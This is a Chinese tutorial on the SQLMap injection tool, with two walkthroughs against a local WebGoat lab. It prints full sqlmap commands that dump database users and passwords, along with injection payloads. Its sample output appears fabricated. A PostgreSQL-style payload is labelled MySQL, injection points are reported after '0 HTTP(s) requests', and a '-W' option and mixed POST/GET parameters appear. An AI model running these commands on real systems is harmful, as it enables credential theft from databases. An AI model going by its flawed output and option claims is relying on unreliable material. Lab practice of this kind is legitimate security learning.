下面我将详细讲解“SQLMap简介及简单应用实例图文详解”的完整攻略。
一、SQLMap简介
SQLMap是一种开放源代码的自动化SQL注入工具,能够使用多种方式攻击和入侵数据库,让使用者能够非常容易地探测和利用SQL注入漏洞。SQLMap使用Python编写,支持多种数据库(包括MySQL、Oracle、MS SQL Server、PostgreSQL和SQLite)和操作系统。
使用SQLMap的好处很多,例如:
- 容易使用。由于SQLMap具有丰富的功能和UI界面,所以使用者可以非常轻松地掌握其基本用法。
- 高效。SQLMap能够自动探测数据库漏洞并进行注入操作,大大提高了攻击效率。
- 规范。SQLMap具有良好的规范性和标准化,让攻击者可以更加系统化地进行攻击,保证攻击的成功率。
二、SQLMap的应用实例
下面让我们通过两个应用实例来了解SQLMap的简单用法。本次实验采用的目标网站是WebGoat,我们需要故意在其中留下SQL注入漏洞。
实例1:基本的SQL注入攻击
-
首先,我们需要在WebGoat网站中找到可供攻击的目标。在WebGoat中,我们可以到SQL Injection-Advanced/Lesson 5页面中,找到能够进行SQL注入的用户登录页面。
-
打开SQLMap使用的控制台,输入如下命令:
sqlmap -u 'http://localhost:8080/WebGoat/login.mvc' --data 'username=FUZZ&password=test&Submit=Login' --batch --threads=5 --dbms=mysql --level=5 --risk=3 --tamper='space2comment' --users --passwords
在这个命令中,我们指定了目标URL、POST参数、数据库类型、注入等级和风险等级,以及采用的字符替换方法,最后要求SQLMap输出用户和密码。
- 执行该命令,等待SQLMap扫描完目标,会给出一个类似如下的输出:
[22:51:50] [INFO] url parameter 'username' is generic. Do you want to process it? [Y/n/q] y
[22:51:51] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=-8662' AND 1620=1620 AND 'AiDh'='AiDh&password=test&Submit=Login
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=test' AND 9558=CAST((CHR(113)||CHR(112)||CHR(112)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (9558=9558) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(112)||CHR(107)||CHR(113)) AS NUMERIC) AND 'zGIA'='zGIA&password=test&Submit=Login
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: username=test' AND SLEEP(5) AND 'SgID'='SgID&password=test&Submit=Login
---
[22:51:54] [INFO] testing MySQL
[22:51:54] [INFO] confirming MySQL
[22:51:54] [INFO] the back-end DBMS is MySQL
webgoat_admin 5a6906e5
[22:51:54] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost/results/localhost/8080'
在这里我们可以看到,SQLMap已经成功发现了可供注入的点。
实例2:手动SQL注入渗透
除了让SQLMap自动发现注入点外,我们也可以手动发现注入点,这个时候可以使用-W参数。
-
首先,在WebGoat中,打开SQL Injection-Advanced/Lesson 5页面中的一个可以进行SQL注入的搜索页面。
-
手动在搜索框中输入如下语句:
' or 1=1-- -
这个语句是一个简单的SQL注入语句。
- 然后,使用SQLMap的以下命令将手动输入的语句注入到目标数据库中:
sqlmap -u 'http://localhost:8080/WebGoat/SQLInjectionAdvanced/challenge1/SearchList.go' -p 'q' --data 'query=%27%20or%201=1--+-%20' --batch --threads=5 --dbms=mysql --level=5 --risk=3 --tamper='space2comment' --users --passwords
在执行该语句后,会输出一些类似以下信息:
[23:07:59] [INFO] testing if URI parameter 'q' is dynamic
[23:08:00] [INFO] confirming that URI parameter 'q' is dynamic
[23:08:12] [WARNING] heuristic (basic) test shows that URI parameter 'q' might not be injectable
[23:08:13] [INFO] testing SQL injection on URI parameter 'q'
[23:08:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:08:17] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[23:08:19] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[23:08:21] [INFO] testing 'Boolean-based blind - Parameter replace (LOAD_FILE())'
[23:08:22] [INFO] testing 'Boolean-based blind - Parameter replace (outfile)'
[23:08:26] [WARNING] GET parameter 'q' does not appear to be injectable
从中我们可以看出,由于语句的关系,该注入语句在这里并不能成功,但是我们可以使用其他语句来替代。如果成功注入,则思路和自动注入一样,也可以使用SQLMap的功能来对目标数据库进行探测。
结语
综上所述,SQLMap是一个非常优秀的自动化SQL注入工具,它可以让攻击者更加方便地进行SQL注入攻击,大大提高了攻击效率。但是在使用SQLMap的过程中,一定要注意相关法律法规,在未经合法授权的情况下,不得进行任何恶意攻击行为。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:SQLMap简介及简单应用实例图文详解 - Python技术站